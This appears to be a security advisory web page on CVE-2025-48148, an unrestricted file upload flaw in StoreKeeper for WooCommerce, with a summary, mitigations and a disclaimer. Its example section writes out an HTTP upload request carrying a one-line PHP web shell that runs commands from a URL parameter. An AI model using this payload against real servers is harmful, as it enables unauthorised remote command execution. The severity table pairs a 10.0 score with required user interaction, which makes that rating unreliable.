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CVE-2025-48148: Unrestricted File Upload Vulnerability in StoreKeeper B.V. for WooCommerce

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Overview

The CVE-2025-48148 vulnerability represents a critical security flaw discovered in the StoreKeeper B.V. software for WooCommerce. This vulnerability, specifically an unrestricted file upload vulnerability, threatens the security and integrity of e-commerce sites powered by WooCommerce that use the StoreKeeper B.V. extension. This issue is of paramount importance due to the potential for system compromise or data leakage, which could lead to unauthorized access to sensitive information, disruption of service, and a potential loss of consumer trust.

Vulnerability Summary

CVE ID: CVE-2025-48148
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

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Product | Affected Versions

StoreKeeper B.V. for WooCommerce | All versions through 14.4.4

How the Exploit Works

The unrestricted file upload vulnerability allows an attacker to upload and execute arbitrary code on the server that hosts the WooCommerce application. This is achieved by manipulating the file upload functionality in the StoreKeeper B.V. extension to accept files with dangerous types. With this capability, an attacker could potentially upload a script that, once executed, provides them with unauthorized access to the system or leads to a data leak.

Conceptual Example Code

The vulnerability might be exploited using a simple HTTP request like the following:

POST /storekeeper/upload HTTP/1.1
Host: vulnerable-woocommerce-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, a malicious PHP script is uploaded which, when accessed via a specific URL, can execute arbitrary system commands supplied via the ‘cmd’ URL parameter.

Mitigations

The recommended mitigation strategy for this vulnerability is to apply the vendor-provided patch. Until that can be accomplished, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, blocking attempts to exploit the vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
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